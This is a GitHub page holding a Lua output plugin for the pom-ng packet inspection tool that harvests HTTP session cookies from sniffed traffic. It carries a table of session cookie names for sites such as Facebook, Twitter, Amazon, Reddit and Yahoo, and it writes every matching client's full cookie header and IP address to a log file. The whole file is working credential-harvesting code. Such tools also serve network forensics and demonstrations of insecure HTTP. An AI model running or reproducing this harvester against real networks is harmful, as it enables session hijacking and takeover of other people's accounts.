-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathoutput_http_cookies.lua
123 lines (97 loc) · 3.27 KB
/
output_http_cookies.lua
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
--
-- Session cookie dumping script for pom-ng.
-- Copyright (C) 2013-2014 Guy Martin <[email protected]>
--
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 2 of the License, or
-- (at your option) any later version.
--
-- This program is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
--
-- You should have received a copy of the GNU General Public License
-- along with this program; if not, write to the Free Software
-- Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
--
output_http_cookies = pom.output.new("http_cookies", "Save http session cookies", {
{ "log_file", "string", "http_cookies.log", "Log filename" },
})
cookie_table = {
["amazon\.[a-z]*$"] = { "x-main" },
["bit\.ly$"] = { "user" },
["cisco\.com$"] = { "SMIDENTITY" },
["cnet\.com$"] = { "urs_sessionId" },
["enom\.com$"] = { "OatmealCookie", "EmailAddress" },
["evernode\.com$"] = { "auth" },
["facebook\.com$"] = { "c_user", "datr", "lu" },
["www\.fiverr\.com$"] = { "_fiverr_session" },
["flickr\.com$"] = { "cookie_session" },
["foursquare\.com$"] = { "ext_id", "XSESSIONID" },
--["google\.[a-z]*$"] = { "SID", "NID", "HSID", "PREF" },
["groupme\.com$"] = { "_groupme_session" },
["news\.ycombinator\.com$"] = { "user" }, -- hackkernewsq
["www\.linkedin\.com$"] = { "bcookie" },
["live\.com$"] = { "MSPProf", "MSPAuth", "RPSTAuth", "NAP" },
["nytimes\.com$"] = { "NYT-S", "nyt-d" },
["www\.quora\.com$"] = { "m-s", "m-b" },
["www\.reddit\.com$"] = { "reddit_session" },
["www\.shutterstock\.com$"] = { "ssssidd" },
["stackoverflow\.com$"] = { "usr" },
["tumblr\.com$"] = { "pfp" },
["twitter\.com$"] = { "_twitter_sess", "auth_token" },
["vimeo\.com$"] = { "vimeo" },
["yahoo\.[a-z]*$"] = { "T", "Y", "F" },
["yelp\.com$"] = { "__utma" },
["instagram.com"] = { "sessionid" },
}
function output_http_cookies:process_request(evt)
local data = evt.data
local cookie = data["query_headers"]["Cookie"]
if not cookie then
return
end
local server = data["server_name"]
local client = data["client_addr"]
local found = false
for hostname, cookies in pairs(cookie_table)
do
if server:match(hostname)
then
cookie_found = 0
for k, session_cookie in pairs(cookies)
do
if cookie:find(session_cookie)
then
cookie_found = cookie_found + 1
end
end
if cookie_found == #cookies
then
found = 1
end
break
end
end
if not found
then
return
end
found = false
self.logfile:write("Session cookies for " .. server .. " from client " .. client .. " : \"" .. cookie .. "\"\n")
self.logfile:flush()
end
function output_http_cookies:open()
-- Open the log file
self.logfile = io.open(self:param_get("log_file"), "a")
-- Listen to HTTP request event
self:event_listen_start("http_request", nil, self.process_request)
end
function output_http_cookies:close()
if self.logfile then
self.logfile:close()
end
self:event_listen_stop("http_request")
end